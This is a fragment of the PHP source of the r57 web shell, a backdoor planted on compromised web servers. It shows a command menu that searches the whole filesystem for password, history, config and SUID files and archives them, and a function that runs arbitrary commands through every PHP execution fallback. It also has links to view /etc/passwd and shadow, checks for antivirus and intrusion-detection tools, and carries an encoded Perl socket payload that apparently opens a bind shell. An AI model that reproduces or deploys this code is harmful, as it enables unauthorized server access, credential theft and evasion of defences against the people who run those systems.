cat /tmp/grep.txt', 'locate .htpasswd files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate ".htpasswd" >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate .bash_history files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate ".bash_history" >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate .mysql_history files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate ".mysql_history" >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate backup files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate backup >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate dump files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate dump >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate priv files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate priv >> /tmp/grep.txt;
cat /tmp/grep.txt', '----------------------------------tar'=>'', 'tar -czvf all.tgz -T /tmp/grep.txt'=>'tar -czvf all.tgz -T /tmp/grep.txt', '----------------------------------1'=>'', 'locate access_log files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate access_log >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate error_log files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate error_log >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate access.log files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate access.log >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate error.log files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate error.log >> /tmp/grep.txt;
cat /tmp/grep.txt', 'locate ".log" files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'locate ".log" >> /tmp/grep.txt;
cat /tmp/grep.txt', '----------------------------------2'=>'', 'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt', '----------------------------------find'=>'', 'find suid files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -perm -04000 -ls  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find suid files in current dir >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find . -type f -perm -04000 -ls  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find sgid files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -perm -02000 -ls  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find sgid files in current dir >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find . -type f -perm -02000 -ls  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find all writable files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -perm -2 -ls  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find all writable files in current dir >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find . -type f -perm -2 -ls  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find all writable directories >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find /  -type d -perm -2 -ls  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find all writable directories in current dir >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find . -type d -perm -2 -ls  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find all writable directories and files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -perm -2 -ls  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find all writable directories and files in current dir >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find . -perm -2 -ls  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find all .htpasswd files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name .htpasswd  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find all .bash_history files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name .bash_history  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find all .mysql_history files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name .mysql_history  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find all .fetchmailrc files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name .fetchmailrc  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find httpd.conf files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name httpd.conf >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find vhosts.conf files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name vhosts.conf >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find proftpd.conf files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name proftpd.conf >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find admin.php files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name admin.php >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find config* files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name "config*"  >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find cfg.php files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name cfg.php >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find conf.php files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name conf.php >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find config.dat files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name config.dat >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find config.php files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name config.php >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find config.inc files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name config.inc >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find config.inc.php files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name config.inc.php >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find config.default.php files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name config.default.php >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find *.conf files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name "*.conf" >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find *.pwd files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name "*.pwd" >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find *.sql files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name "*.sql" >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find *backup* files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name "*backup*" >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find *dump* files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find / -type f -name "*dump*" >> /tmp/grep.txt;
cat /tmp/grep.txt', '-----------------------------------'=>'', 'find /var/ access_log files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find /var/ -type f -name access_log >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find /var/ error_log files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find /var/ -type f -name error_log >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find /var/ access.log files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find /var/ -type f -name access.log >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find /var/ error.log files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find /var/ -type f -name error.log >> /tmp/grep.txt;
cat /tmp/grep.txt', 'find /var/ "*.log" files >> /tmp/grep.txt;
cat /tmp/grep.txt'=>'find /var/ -type f -name "*.log" >> /tmp/grep.txt;
cat /tmp/grep.txt', '----------------------------------------------------------------------------------------------------'=>'ls -la' );
 $table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: ";
 $table_up2 = " ::</div></b></font></td></tr><tr><td>";
 $table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333>";
 $table_end1 = "</td></tr>";
 $arrow = " <font face=Webdings color=gray>4</font>";
 $lb = "<font color=green>[</font>";
 $rb = "<font color=green>]</font>";
 $font = "<font face=Verdana size=-2>";
 $ts = "<table class=table1 width=100% align=center>";
 $te = "</table>";
 $fs = "<form name=form method=POST>";
 $fe = "</form>";
 if(isset($_GET['users'])) { if(!$users=get_users('/etc/passwd')) {echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>";
} else { echo '<center>';
 foreach($users as $user) {echo $user."<br>";
} echo '</center>';
 } echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
 } if (!empty($_POST['dir'])) {if(@function_exists('chdir')){@chdir($_POST['dir']);
}else if(@function_exists('chroot')){@chroot($_POST['dir']);
};
} if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();
};
}else{$dir=$_POST['dir'];
} $unix = 0;
 if(strlen($dir)>1 &&$dir[1]==":") $unix=0;
else $unix=1;
 if(empty($dir)) { $os = getenv('OS');
 if(empty($os)){$os = @php_uname();
} if(empty($os)){$os ="-";
$unix=1;
} else { if(@eregi("^win",$os)) {$unix = 0;
} else {$unix = 1;
} } } if(!empty($_POST['s_dir']) &&!empty($_POST['s_text']) &&!empty($_POST['cmd']) &&$_POST['cmd'] == "search_text") { echo $head;
 if(!empty($_POST['s_mask']) &&!empty($_POST['m'])) {$sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']);
} else {$sr = new SearchResult($_POST['s_dir'],$_POST['s_text']);
} $sr->SearchText(0,0);
 $res = $sr->GetResultFiles();
 $found = $sr->GetMatchesCount();
 $titles = $sr->GetTitles();
 $r = "";
 if($found >0) { $r .= "<TABLE width=100%>";
 foreach($res as $file=>$v) { $r .= "<TR>";
 $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
 $r .= (!$unix)?str_replace("/","\\",$file) : $file;
 $r .= "</b></font></ TD>";
 $r .= "</TR>";
 foreach($v as $a=>$b) { $r .= "<TR>";
 $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
 $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
 $r .= "</TR>\n";
 } } $r .= "</TABLE>";
 echo $r;
 } else { echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
 } echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
 die();
 } if(!$safe_mode &&strpos(ex("echo abcr57"),"r57")!=3) {$safe_mode = 1;
} $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
 if(empty($SERVER_SOFTWARE)){$SERVER_SOFTWARE = "-";
} function ws($i) { return @str_repeat("&nbsp;
",$i);
 } function ex($cfe) { $res = '';
 if (!empty($cfe)) { if(@function_exists('exec')) { @exec($cfe,$res);
 $res = join("\n",$res);
 } elseif(@function_exists('shell_exec')) { $res = @shell_exec($cfe);
 } elseif(@function_exists('system')) { @ob_start();
 @system($cfe);
 $res = @ob_get_contents();
 @ob_end_clean();
 } elseif(@function_exists('passthru')) { @ob_start();
 @passthru($cfe);
 $res = @ob_get_contents();
 @ob_end_clean();
 } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = "";
 if(@function_exists('fread') &&@function_exists('feof')){ while(!@feof($f)) {$res .= @fread($f,1024);
} }else if(@function_exists('fgets') &&@function_exists('feof')){ while(!@feof($f)) {$res .= @fgets($f,1024);
} } @pclose($f);
 } elseif(@is_resource($f = @proc_open($cfe,array(1 =>array("pipe","w")),$pipes))) { $res = "";
 if(@function_exists('fread') &&@function_exists('feof')){ while(!@feof($pipes[1])) {$res .= @fread($pipes[1],1024);
} }else if(@function_exists('fgets') &&@function_exists('feof')){ while(!@feof($pipes[1])) {$res .= @fgets($pipes[1],1024);
} } @proc_close($f);
 } elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork')) { $res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
 $pid = @pcntl_fork();
 if ($pid == -1) { $res .= '[-] Could not children fork. Exit';
 }else if ($pid) { if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';
} else {$res .= '[-] Error. Command incorrect.';
} }else { $cfe = array(" -e 'system(\"$cfe\")'");
 if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
 if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
 die();
 } } } return $res;
 } function get_users($filename) { $users = array();
 $rows=@explode("\n",readzlib($filename));
 if(!$rows) return 0;
 foreach ($rows as $string) { $user = @explode(":",trim($string));
 if(substr($string,0,1)!='#') array_push($users,$user[0]);
 } return $users;
 } function err($n,$txt='') { echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>';
 echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
 if(!empty($txt)) {echo " $txt";
} echo '</b></div></font></td></tr></table>';
 return null;
 } function perms($mode) { if (!$GLOBALS['unix']) return 0;
 if( $mode &0x1000 ) {$type='p';
} else if( $mode &0x2000 ) {$type='c';
} else if( $mode &0x4000 ) {$type='d';
} else if( $mode &0x6000 ) {$type='b';
} else if( $mode &0x8000 ) {$type='-';
} else if( $mode &0xA000 ) {$type='l';
} else if( $mode &0xC000 ) {$type='s';
} else $type='u';
 $owner["read"] = ($mode &00400) ?'r': '-';
 $owner["write"] = ($mode &00200) ?'w': '-';
 $owner["execute"] = ($mode &00100) ?'x': '-';
 $group["read"] = ($mode &00040) ?'r': '-';
 $group["write"] = ($mode &00020) ?'w': '-';
 $group["execute"] = ($mode &00010) ?'x': '-';
 $world["read"] = ($mode &00004) ?'r': '-';
 $world["write"] = ($mode &00002) ?'w': '-';
 $world["execute"] = ($mode &00001) ?'x': '-';
 if( $mode &0x800 ) $owner["execute"] = ($owner['execute']=='x') ?'s': 'S';
 if( $mode &0x400 ) $group["execute"] = ($group['execute']=='x') ?'s': 'S';
 if( $mode &0x200 ) $world["execute"] = ($world['execute']=='x') ?'t': 'T';
 $s=sprintf("%1s",$type);
 $s.=sprintf("%1s%1s%1s",$owner['read'],$owner['write'],$owner['execute']);
 $s.=sprintf("%1s%1s%1s",$group['read'],$group['write'],$group['execute']);
 $s.=sprintf("%1s%1s%1s",$world['read'],$world['write'],$world['execute']);
 return trim($s);
 } function in($type,$name,$size,$value,$checked=0) { $ret = "<input type=".$type." name=".$name." ";
 if($size != 0) {$ret .= "size=".$size." ";
} $ret .= "value=\"".$value."\"";
 if($checked) $ret .= " checked";
 return $ret.">";
 } function which($pr) { $path = '';
 $path = ex("which $pr");
 if(!empty($path)) {return $path;
}else {return false;
} } function cf($fname,$text) { $w_file=@fopen($fname,"w") or @function_exists('file_put_contents') or err(0);
 if($w_file) { @fwrite($w_file,@base64_decode($text)) or @fputs($w_file,@base64_decode($text)) or @file_put_contents($fname,@base64_decode($text));
 @fclose($w_file);
 } } function sr($l,$t1,$t2) { return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
 } if (!@function_exists("view_size")) { function view_size($size) { if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 ." GB";
} elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 ." MB";
} elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 ." KB";
} else {$size = $size ." B";
} return $size;
 } } function DirFilesR($dir,$types='') { $files = Array();
 if(($handle = @opendir($dir)) ||(@function_exists('scandir'))) { while ((false !== ($file = @readdir($handle))) &&(false !== ($file = @scandir($dir)))) { if ($file != "."&&$file != "..") { if(@is_dir($dir."/".$file)) $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
 else { $pos = @strrpos($file,".");
 $ext = @substr($file,$pos,@strlen($file)-$pos);
 if($types) { if(@in_array($ext,explode(';
',$types))) $files[] = $dir."/".$file;
 } else $files[] = $dir."/".$file;
 } } } @closedir($handle);
 } return $files;
 } class SearchResult { var $text;
 var $FilesToSearch;
 var $ResultFiles;
 var $FilesTotal;
 var $MatchesCount;
 var $FileMatschesCount;
 var $TimeStart;
 var $TimeTotal;
 var $titles;
 function SearchResult($dir,$text,$filter='') { $dirs = @explode(";
",$dir);
 $this->FilesToSearch = Array();
 for($a=0;
$a<count($dirs);
$a++) $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
 $this->text = $text;
 $this->FilesTotal = @count($this->FilesToSearch);
 $this->TimeStart = getmicrotime();
 $this->MatchesCount = 0;
 $this->ResultFiles = Array();
 $this->FileMatchesCount = Array();
 $this->titles = Array();
 } function GetFilesTotal() {return $this->FilesTotal;
} function GetTitles() {return $this->titles;
} function GetTimeTotal() {return $this->TimeTotal;
} function GetMatchesCount() {return $this->MatchesCount;
} function GetFileMatchesCount() {return $this->FileMatchesCount;
} function GetResultFiles() {return $this->ResultFiles;
} function SearchText($phrase=0,$case=0) { $qq = @explode(' ',$this->text);
 $delim = '|';
 if($phrase) foreach($qq as $k=>$v) $qq[$k] = '\b'.$v.'\b';
 $words = '('.@implode($delim,$qq).')';
 $pattern = "/".$words."/";
 if(!$case) $pattern .= 'i';
 foreach($this->FilesToSearch as $k=>$filename) { $this->FileMatchesCount[$filename] = 0;
 $FileStrings = @file($filename) or @next;
 for($a=0;
$a<@count($FileStrings);
$a++) { $count = 0;
 $CurString = $FileStrings[$a];
 $CurString = @Trim($CurString);
 $CurString = @strip_tags($CurString);
 $aa = '';
 if(($count = @preg_match_all($pattern,$CurString,$aa))) { $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;
'><b>\\1</b></SPAN>",$CurString);
 $this->ResultFiles[$filename][$a+1] = $CurString;
 $this->MatchesCount += $count;
 $this->FileMatchesCount[$filename] += $count;
 } } } $this->TimeTotal = @round(getmicrotime() -$this->TimeStart,4);
 } } function getmicrotime() { list($usec,$sec) = @explode(" ",@microtime());
 return ((float)$usec +(float)$sec);
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 $prx_pl="IyF1c3IvYmluL3BlcmwKdXNlIFNvY2tldDsKbXkgJHBvcnQgPSAkQVJHVlswXXx8MzEzMzc7Cm15ICRwcm90b2NvbCA9IGdldHByb3RvYn
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 if($unix) { if(!isset($_COOKIE['uname'])) {$uname = ex('uname -a');
setcookie('uname',$uname);
}else {$uname = $_COOKIE['uname'];
} if(!isset($_COOKIE['id'])) {$id = ex('id');
setcookie('id',$id);
}else {$id = $_COOKIE['id'];
} if($safe_mode) {$sysctl = '-';
} else if(isset($_COOKIE['sysctl'])) {$sysctl = $_COOKIE['sysctl'];
} else { $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
 if(empty($sysctl)) {$sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease');
} if(empty($sysctl)) {$sysctl = '-';
} setcookie('sysctl',$sysctl);
 } } echo $head;
 echo '</head>';
 echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333 width=160><font face=Verdana size=2>'.ws(2).'<font face=tahoma size=2><b>r57 shell '.$version.'</b></font></td><td bgcolor=#333333><font face=Verdana size=-2>';
 echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]";
 if(isset($_SERVER['X_FORWARDED_FOR'])){echo " X_FORWARDED_FOR: [<font color=red>".$_SERVER['X_FORWARDED_FOR']."</font>]";
} if(isset($_SERVER['CLIENT_IP'])){echo " CLIENT_IP: [<font color=red>".$_SERVER['CLIENT_IP']."</font>]";
} echo " Server IP: [<a href=".gethostbyname($_SERVER["HTTP_HOST"])." target=iframe><font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font></a>]";
 echo "<br>";
 echo ws(2)."PHP version: <b>".@phpversion()."</b>";
 $curl_on = @function_exists('curl_version');
 echo ws(2);
 echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>Kapali</font>"));
 echo "</b>".ws(2);
 echo "MySQL: <b>";
 $mysql_on = @function_exists('mysql_connect');
 if($mysql_on){ echo "<font color=green>ON</font>";
}else {echo "<font color=red>Kapali</font>";
} echo "</b>".ws(2);
 echo "MSSQL: <b>";
 $mssql_on = @function_exists('mssql_connect');
 if($mssql_on){echo "<font color=green>ON</font>";
}else{echo "<font color=red>Kapali</font>";
} echo "</b>".ws(2);
 echo "PostgreSQL: <b>";
 $pg_on = @function_exists('pg_connect');
 if($pg_on){echo "<font color=green>ON</font>";
}else{echo "<font color=red>Kapali</font>";
} echo "</b>".ws(2);
 echo "Oracle: <b>";
 $ora_on = @function_exists('ocilogon');
 if($ora_on){echo "<font color=green>ON</font>";
}else{echo "<font color=red>Kapali</font>";
} echo "</b><br>".ws(2);
 echo "Safe_mode: <b>";
 echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>Kapali</font>"));
 echo "</b>".ws(2);
 echo "Open_basedir: <b>";
 if($open_basedir) {if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";
}else {echo "<font color=green>$df</font></b>";
};
} else {echo "<font color=red>NONE</font></b>";
} echo ws(2)."Safe_mode_exec_dir: <b>";
 if(@function_exists('ini_get')) {if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";
}else {echo "<font color=green>$df</font></b>";
};
} else {echo "<font color=red>ini_get disable!</font></b>";
} echo ws(2)."Safe_mode_include_dir: <b>";
 if(@function_exists('ini_get')) {if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";
}else {echo "<font color=green>$df</font></b>";
};
} else {echo "<font color=red>ini_get disable!</font></b>";
} echo "<br>".ws(2);
 echo "Disable functions : <b>";
$df='ini_get  disable!';
 if((@function_exists('ini_get')) &&(''==($df=@ini_get('disable_functions')))){echo "<font color=red>NONE</font></b>";
}else{echo "<font color=red>$df</font></b>";
} $free = @diskfreespace($dir);
 if (!$free) {$free = 0;
} $all = @disk_total_space($dir);
 if (!$all) {$all = 0;
} echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>";
 $ust='';
 if($unix &&!$safe_mode){ if (which('gcc')) {$ust.="gcc,";
} if (which('cc')) {$ust.="cc,";
} if (which('ld')) {$ust.="ld,";
} if (which('php')) {$ust.="php,";
} if (which('perl')) {$ust.="perl,";
} if (which('python')) {$ust.="python,";
} if (which('ruby')) {$ust.="ruby,";
} if (which('make')) {$ust.="make,";
} if (which('tar')) {$ust.="tar,";
} if (which('nc')) {$ust.="netcat,";
} if (which('locate')) {$ust.="locate,";
} if (which('suidperl')) {$ust.="suidperl,";
} } if (@function_exists('pcntl_exec')) {$ust.="pcntl_exec,";
} if($ust){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust."</font>";
} $ust='';
 if($unix &&!$safe_mode){ if (which('kav')) {$ust.="kav,";
} if (which('nod32')) {$ust.="nod32,";
} if (which('bdcored')) {$ust.="bitdefender,";
} if (which('uvscan')) {$ust.="mcafee,";
} if (which('sav')) {$ust.="symantec,";
} if (which('drwebd')) {$ust="drwebd,";
} if (which('clamd')) {$ust.="clamd,";
} if (which('rkhunter')) {$ust.="rkhunter,";
} if (which('chkrootkit')) {$ust.="chkrootkit,";
} if (which('iptables')) {$ust.="iptables,";
} if (which('ipfw')) {$ust.="ipfw,";
} if (which('tripwire')) {$ust.="tripwire,";
} if (which('shieldcc')) {$ust.="stackshield,";
} if (which('portsentry')) {$ust.="portsentry,";
} if (which('snort')) {$ust.="snort,";
} if (which('ossec')) {$ust.="ossec,";
} if (which('lidsadm')) {$ust.="lidsadm,";
} if (which('tcplodg')) {$ust.="tcplodg,";
} if (which('tripwire')) {$ust.="tripwire,";
} if (which('sxid')) {$ust.="sxid,";
} if (which('logcheck')) {$ust.="logcheck,";
} if (which('logwatch')) {$ust.="logwatch,";
} } if (@function_exists('apache_get_modules') &&@in_array('mod_security',apache_get_modules())) {$ust.="mod_security,";
} if($ust){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>$ust</font>";
} echo "<br>".ws(2)."</b>";
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
 if(!$unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?systeminfo title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb;
 }else{ echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?syslog title=\"View syslog.conf\"><b>syslog</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?resolv title=\"View resolv\"><b>resolv</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?hosts title=\"View hosts\"><b>hosts</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?shadow title=\"View shadow\"><b>shadow</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?passwd title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb;
 } echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb;
 if($unix &&!$safe_mode) { echo "<br>".ws(2)."</b>";
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?procinfo title=\"View procinfo\"><b>procinfo</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?version title=\"View proc version\"><b>version</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?free title=\"View mem free\"><b>free</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?dmesg(8) title=\"View dmesg\"><b>dmesg</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?vmstat title=\"View vmstat\"><b>vmstat</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lspci title=\"View lspci\"><b>lspci</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsdev title=\"View lsdev\"><b>lsdev</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?interrupts title=\"View interrupts\"><b>interrupts</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise1 title=\"View realise1\"><b>realise1</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise2 title=\"View realise2\"><b>realise2</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsattr title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb;
 echo "<br>".ws(2)."</b>";
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?w title=\"View w\"><b>w</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?who title=\"View who\"><b>who</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?uptime title=\"View uptime\"><b>uptime</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?last title=\"View last -n 10\"><b>last</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?psaux title=\"View ps -aux\"><b>ps aux</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?service title=\"View service\"><b>service</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?ifconfig title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?netstat title=\"View netstat -a\"><b>netstat</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fstab title=\"View fstab\"><b>fstab</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fdisk title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb;
 echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?df title=\"View df -h\"><b>df -h</b></a> ".$rb;
 } echo '</font></td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000>
<tr><td width=50 style="padding-left:10px"><img src="http://resimyukle.me/server/php/files/76b1a46b883b02d8861e19e68c0b1dd3/computer.png"></td><td align=right width=48>';
 echo $font;
 if($unix){ echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
 echo "</td><td>";
 echo "<font face=Verdana size=-2 color=red><b>";
 echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
